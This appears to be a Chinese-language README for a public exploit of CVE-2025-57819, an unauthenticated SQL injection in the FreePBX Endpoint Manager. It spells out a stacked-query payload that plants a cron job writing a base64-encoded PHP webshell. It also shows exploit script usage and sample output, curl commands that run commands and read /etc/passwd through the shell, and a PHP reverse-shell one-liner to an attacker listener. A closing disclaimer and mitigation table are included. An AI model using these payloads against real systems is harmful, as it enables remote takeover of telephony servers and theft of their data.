
未经验证的SQL注入漏洞(CVE-2025-57819)存在于FreePBX Endpoint Manager中,该漏洞可注入一个由cron调度的PHP网页木马,从而实现远程代码执行。
FreePBX 是 Asterisk PBX 的开源 Web 图形用户界面,广泛应用于企业电话环境。端点管理器模块在 /admin/ajax.php 处暴露了一个 AJAX 处理程序,该程序接收一个 brand 参数,并在未经过滤的情况下直接将其插入 SQL 查询中。未经身份验证的远程攻击者可以注入任意 SQL,在 cron_jobs 表中插入一行,并让 FreePBX 的 cron 守护进程将一个可执行的 PHP 网页木马写入 Web 根目录——从而在大约一分钟内实现未经身份验证的远程代码执行。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2025-57819 |
| CVSS 分数 | 9.8(严重) |
| CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — SQL 命令中特殊元素的中和不当 |
| 组件 | FreePBX 端点管理器模块 |
| 受影响版本 | FreePBX 17.x(未修补) |
| 已修补版本 | FreePBX 17.x(已修补) |
| 攻击向量 | 网络 — 无需身份验证 |
易受攻击的请求针对的是端点管理器的 AJAX 命令处理程序:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
brand 参数被拼接进 SQL 查询,没有使用转义或预编译语句。攻击者关闭查询字符串并附加第二条语句:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
注入的 cron 条目每分钟运行一次,以 Web 服务器/Asterisk 进程所有者的身份执行以下命令:
<?php system($_GET[cmd]); ?>
写入 /var/www/html/webshell.php,从而通过 HTTP 实现未经身份验证的操作系统命令执行。
端点管理器 AJAX 处理程序使用字符串格式化动态构建 SQL,而非参数化查询。brand 字段在嵌入 SELECT 语句之前从未被验证或转义,因此极易注入。
攻击者 ──GET (SQL注入)──────────▶ /admin/ajax.php ──INSERT──────────▶ cron_jobs 表
│
FreePBX cron 守护进程 (≤60秒) │
▼
攻击者 ──GET ?cmd=id──────────────────▶ /webshell.php ◀── 写入 ── cron 执行
pip install requests urllib3
-t, --target 目标 IP 地址或主机名 (必填)
--timeout 等待目标可达的秒数 (默认: 30)
--delay 等待 cron 作业执行的秒数 (默认: 65)
1. 针对目标运行漏洞利用程序:
# 基本用法 — 等待 65 秒让 cron 作业触发
python3 exploit.py -t <IP>
# 使用主机名
python3 exploit.py -t connected.htb
# 对于慢速目标,延长 cron 等待时间
python3 exploit.py -t <IP> --delay 90
2. 如果确认网页木马存在,直接与其交互:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. 通过网页木马升级为反弹 Shell:
在你自己的机器上启动监听器:
nc -lvnp <LOCAL_PORT>
然后通过 cmd 参数触发 PHP 反弹 Shell(URL 编码):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
实际作为 cmd 发送的 payload(URL 解码后)为:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX 端点模块 · SQL注入 → Cron 网页木马 ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
组件 : FreePBX 端点模块
受影响版本 : 未修补 17.x → 已修补: 已修补 17.x
CVSS 分数 : 9.8(严重)
CVSS 向量 : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL 注入
类型 : 未经身份验证的 SQL注入 → Cron 调度的 PHP 网页木马
参考链接 : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] 探测目标 <IP> (最长 30 秒)...
14:03:12 [+] 目标存活 — HTTP 200
14:03:12 [*] 注入端点 : http://<IP>/admin/ajax.php
14:03:12 [!] 通过 SQL 注入注入 cron 作业 ...
14:03:12 [+] 注入请求已发送
14:03:12 [*] 等待 65 秒让 cron 作业触发 ...
14:04:17 [*] 探测网页木马 http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] 网页木马已激活 — 命令输出:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] 网页木马 URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] 利用程序执行完成。
时间提示。 默认的
--delay为 65 秒,确保 cron 守护进程(每分钟开始时触发)至少有一次机会运行注入的作业。对于慢速目标,请增加至--delay 90或--delay 120。
本漏洞利用程序仅供教育和授权的安全测试使用。请仅针对您拥有或已获得明确书面许可的系统使用。未经授权使用属违法行为且不道德。
| 优先级 | 措施 |
|---|
| 严重 | 立即应用 FreePBX 供应商针对 CVE-2025-57819 的补丁 |
| 严重 | 移除任何现有的 /var/www/html/webshell.php 文件 |
| 高 | 限制对 /admin/ajax.php 的访问,仅允许经过身份验证的受信任网络来源 |
| 高 | 审计并清理端点管理器中的所有 SQL 查询 — 使用预编译语句 |
| 中 | 限制 cron_jobs 表:限制哪些角色可以执行 INSERT 操作 |
| 中 | 在 AJAX 端点应用 WAF 规则,阻断堆叠查询模式 |
| 低 | 以最小权限账户运行 FreePBX/Asterisk 进程,禁止其对 Web 根目录的写入权限 |